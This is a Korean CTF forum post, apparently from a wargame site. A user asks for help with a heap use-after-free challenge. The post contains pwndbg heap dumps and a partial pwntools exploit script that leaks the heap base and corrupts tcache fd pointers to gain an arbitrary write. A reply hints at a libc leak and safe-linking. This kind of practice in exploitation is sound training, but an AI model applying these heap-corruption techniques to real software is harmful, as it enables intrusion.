완료됨
문제 풀이 방향에 대한 질문(스포 포함)
취약점을 발견해서 이것저것 exploit을 도전해봤습니다.
분석해보면 HEAP은 크게
노트를 하나 할당할 때마다
- 노트 구조체 하나(0x20사이즈 고정)
- 노트 이름 하나(가변 사이즈)
- 노트 내용 하나(0x100사이즈 고정)
이 세개가 할당되는 것을 확인했습니다.
결론적 UAF를 발견했고 이를 이용해서
- HEAP(이름,내용)의 FD LEAK
- HEAP(이름,내용)의 FD 변조
에 성공하였습니다.
FD변조가 되었기 때문에 다음 Heap 할당시에 변조된 FD 위치에 할당이 되고
그것을 이용한 AAW로 Hook등을 덮어서 Exploit을 하는 것이 해당 문제의 방향이 아닐까 생각하고 있습니다.
여기서 의문은
- FD로 Program Base를 Leak할수 있는지.
- Heap FD의 변조가 제대로 되지 않는 이유가 궁금합니다.
HEAP 및 Bins 디버그 내용 공유드립니다.
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x62f7e2075000
Size: 0x291
Allocated chunk | PREV_INUSE
Addr: 0x62f7e2075290
Size: 0x31
Allocated chunk | PREV_INUSE
Addr: 0x62f7e20752c0
Size: 0x111
Allocated chunk | PREV_INUSE
Addr: 0x62f7e20753d0
Size: 0x31
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e2075400
Size: 0x31
fd: 0x62f1cd797525
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e2075430
Size: 0x111
fd: 0xffdebcbaaaaaaaaa
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e2075540
Size: 0x31
fd: 0x62f7e2075440
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e2075570
Size: 0x31
fd: 0x62f1cd7976b5
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e20755a0
Size: 0x111
fd: 0x62f1cd797435
Free chunk (tcachebins) | PREV_INUSE
Addr: 0x62f7e20756b0
Size: 0x31
fd: 0x62f1cd797465
Top chunk | PREV_INUSE
Addr: 0x62f7e20756e0
Size: 0x20921
pwndbg> bins
tcachebins
0x30 [ 6]: 0x62f7e2075580 —▸ 0x62f7e20756c0 —▸ 0x62f7e2075410 —▸ 0x62f7e2075550 ◂— 0x62f1cd797435
0x110 [ 3]: 0x62f7e20755b0 —▸ 0x62f7e2075440 ◂— 0xffdebcbc85d48adf
fastbins
empty
unsortedbin
empty
smallbins
empty
largebins
empty
여기서 0x110사이즈 Tcache의 Bins 최하단이 가르키는 곳이 0xffdebcbaaaaaaaaa이 되지 않는 이유가 궁금합니다.
제가 현재 작성한 Exploit을 첨부드립니다.
from pwn import *
# 설정
context.arch = 'amd64'
context.log_level = 'debug'
# 바이너리 실행
p = process('./prob')
#p = remote("host3.dreamhack.games",23474)
e = ELF("./prob")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def create_note(idx, name_size, name, content):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"idx > ", str(idx).encode())
p.sendlineafter(b"name size > ", str(name_size).encode())
p.sendlineafter(b"name > ", name)
p.sendafter(b"content > ", content)
def delete_note(idx):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"idx > ", str(idx).encode())
def edit_note(idx, name, content):
p.sendlineafter(b"> ", b"3")
p.sendlineafter(b"idx > ", str(idx).encode())
p.sendlineafter(b"name > ", name)
p.sendlineafter(b"content > ", content)
def print_note(idx):
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"idx > ", str(idx).encode())
p.recvuntil(b"name : ")
name = p.recvline().strip()
p.recvuntil(b"content : ")
content = p.recvline().strip()
return name, content
create_note(0, 32, b'AAAA', b'B'*0x10)
create_note(1, 32, b'AAAA', b'B'*0x10)
create_note(2, 32, b'AAAA', b'B'*0x10)
delete_note(0)
delete_note(0)
p.sendlineafter(b"> ", b"4")
p.sendlineafter(b"idx > ", str(0).encode())
p.recvuntil(b"name : ")
name = p.recv(5)+b'\x00\x00\x00'
name = u64(name)*0x1000
delete_note(1)
delete_note(1)
delete_note(2)
delete_note(2)
print(hex(name))
edit_note(0,p64(name+0x440),p64(name+0x440))
edit_note(1,p64(name+0x440),b'\xAA\xAA\xAA\xAA\xBA\xBC\xDE\xFF')
gdb.attach(p)
p.interactive()
#pwnable
작성자 정보
답변
1
bincat
세계수
핵심적인 버그는 제대로 발견하신 것 같습니다. 다만 라이브러리(glibc) 릭을 추가로 낼 수 있는데, 이것만 획득하시면 문제없이 익스플로잇이 될 것 같네요!
tcache bin 주소가 제대로 바뀌지 않는 이유는 safe linking 관련 이슈로 보입니닷!!